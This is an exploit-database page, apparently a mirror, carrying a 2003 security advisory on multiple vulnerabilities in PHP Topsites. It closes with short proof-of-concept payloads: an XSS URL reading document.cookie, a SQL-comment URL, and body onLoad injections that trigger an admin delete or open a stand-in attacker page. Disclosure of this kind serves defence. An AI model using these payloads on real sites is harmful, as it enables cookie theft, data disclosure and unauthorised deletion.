Menu

Search for hundreds of thousands of exploits

"PHP Topsites < 2.2 - Multiple Vulnerabilities"

Author

Exploit author

"GulfTech Security"

Platform

Exploit platform

multiple

Release date

Exploit published date

2003-01-13

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
PHP Topsites Multiple Vulnerabilities

Vendor: iTop 10
Product: PHP Topsites
Version: <= 2.2
Website: http://www.itop10.net/

BID: 6621 6622 6623 6625 

Description:
PHP TopSites is a PHP/MySQL-based customizable TopList script. Main features include: Easy configuration config file; MySQL database backend; unlimited categories, Site rating on incoming votes; Special Rating from Webmaster; anti-cheating gateway; Random link; Lost password function; Webmaster Site-approval; Edit site; ProcessingTime display; Cookies Anti-Cheating; Site Reviews; Linux Cron Free; Frame Protection and much more. 

Script Injection Vulnerability:
An HTML injection vulnerability has been discovered in PHP TopSites. The issue occurs due to insufficient sanitization of user-supplied data. By injecting HTML code into the <body> tag of the description page, when submitting website, it may be possible to cause an administrator to edit or delete database entries. This issue will occur when an unsuspecting administrator loads the submitted description. This vulnerability also affects the 'edit.php' script. 

Cross Site Scripting Vulnerability:
A vulnerability has been discovered in PHP TopSites. Due to invalid sanitization of user-supplied input by the 'help.php' script, it may be possible for an attacker to steal another users cookie information or other sensitive data. This issue can be exploited by constructing a malicious URL containing embedded script code as a 'help.php' parameter. When an unsuspecting user follows the link sensitive information, such as cookie-based authentication credentials may be obtained by the attacker. 

Plaintext Password Weakness:
A weakness has been discovered in PHP TopSites. It has been reported that user's passwords are stored in plaintext and thus are visible to TopSites administrators. This poses a security risk as TopSite script users may use the same passwords on other systems. 

SQL Injection Vulnerability:
A vulnerability has been discovered in PHP TopSites. Due to insufficient sanitization of user-supplied URI parameters it is possible for an attacker to embed SQL commands into certain page requests. This may result in database information being disclose to an attacker. 

Solution:
Upgrade to the current version of php topsites 

Proof Of Conecpt Exploit:
iTop10.net phpTopsites Proof Of Concept 

Credits:
James Bercegay of the GulfTech Security Research Team. And The CyberArmy ACAT Team.





- https://www.securityfocus.com/bid/6625/info
http://examplewebsite.com/topsitesdirectory/edit.php?a=pre&submit=&sid=siteidnumber--

- https://www.securityfocus.com/bid/6623/info

- https://www.securityfocus.com/bid/6622/info
http://www.example.com/TopSitesdirectory/help.php?sid=<script>alert(document.cookie)</script>

- https://www.securityfocus.com/bid/6621/info
<body onLoad= "parent.location='http://www.somewebsite.com/TopSitesdirectory/seditor.php?sid=siteidnumber&a=delete'">
<body onLoad="window.open('http://attackerswebsite/launcher.htm')">
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Expense Management System - 'description' Stored Cross Site Scripting" webapps multiple "Nikhil Kumar"
2020-12-02 "Bakeshop Online Ordering System 1.0 - 'Owner' Persistent Cross-site scripting" webapps multiple "Parshwa Bhavsar"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Under Construction Page with CPanel 1.0 - SQL injection" webapps multiple "Mayur Parmar"
Release Date Title Type Platform Author
2018-01-15 "D-Link DNS-343 ShareCenter < 1.05 - Command Injection" webapps php "GulfTech Security"
2018-01-15 "D-Link DNS-325 ShareCenter < 1.05B03 - Multiple Vulnerabilities" webapps php "GulfTech Security"
2018-01-08 "Synology Photostation < 6.7.2-3429 - Multiple Vulnerabilities" webapps php "GulfTech Security"
2018-01-03 "D-Link DNS-320 ShareCenter < 1.06 - Backdoor Access" remote hardware "GulfTech Security"
2018-01-03 "WDMyCloud < 2.30.165 - Multiple Vulnerabilities" remote hardware "GulfTech Security"
2016-10-04 "Mambo < 4.5.4 - SQL Injection" webapps php "GulfTech Security"
2016-08-28 "CubeCart < 3.0.12 - Multiple Vulnerabilities" webapps php "GulfTech Security"
2016-08-18 "X-Cart < 4.1.3 - Arbitrary Variable Overwrite" webapps php "GulfTech Security"
2016-08-14 "Claroline < 1.7.7 - Arbitrary File Inclusion" webapps php "GulfTech Security"
2016-08-11 "SquirrelMail < 1.4.7 - Arbitrary Variable Overwrite" webapps php "GulfTech Security"
2016-03-05 "PHPLib < 7.4 - SQL Injection" webapps php "GulfTech Security"
2016-03-02 "Gallery 2 < 2.0.2 - Multiple Vulnerabilities" webapps php "GulfTech Security"
2016-02-26 "phpRPC < 0.7 - Remote Code Execution" webapps php "GulfTech Security"
2016-02-24 "Mambo < 4.5.3h - Multiple Vulnerabilities" webapps php "GulfTech Security"
2016-02-21 "PEAR LiveUser < 0.16.8 - Arbitrary File Access" webapps php "GulfTech Security"
2016-02-19 "Geeklog < 1.4.0 - Multiple Vulnerabilities" webapps php "GulfTech Security"
2016-02-18 "ADOdb < 4.71 - Cross Site Scripting" webapps php "GulfTech Security"
2015-07-21 "XPCOM - Race Condition" webapps php "GulfTech Security"
2015-07-14 "SquirrelMail < 1.4.5-RC1 - Arbitrary Variable Overwrite" webapps php "GulfTech Security"
2015-07-02 "PHPXMLRPC < 1.1 - Remote Code Execution" webapps php "GulfTech Security"
2015-07-01 "PEAR XML_RPC < 1.3.0 - Remote Code Execution" webapps php "GulfTech Security"
2015-06-29 "XOOPS < 2.0.11 - Multiple Vulnerabilities" webapps php "GulfTech Security"
2015-05-28 "Peercast < 0.1211 - Format String" dos windows "GulfTech Security"
2015-05-16 "Burning Board < 2.3.1 - SQL Injection" webapps php "GulfTech Security"
2015-05-05 "Invision Power Board (IP.Board) < 2.0.3 - Multiple Vulnerabilities" webapps php "GulfTech Security"
2015-04-19 "AZBB < 1.0.07d - Multiple Vulnerabilities" webapps php "GulfTech Security"
2015-01-03 "PhotoPost < 4.85 - Multiple Vulnerabilities" webapps php "GulfTech Security"
2015-01-02 "ReviewPost < 2.84 - Multiple Vulnerabilities" webapps php "GulfTech Security"
2015-01-01 "PhotoPost Classifieds < 2.01 - Multiple Vulnerabilities" webapps php "GulfTech Security"
2014-12-29 "PHP-Calendar < 0.10.1 - Arbitrary File Inclusion" webapps php "GulfTech Security" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected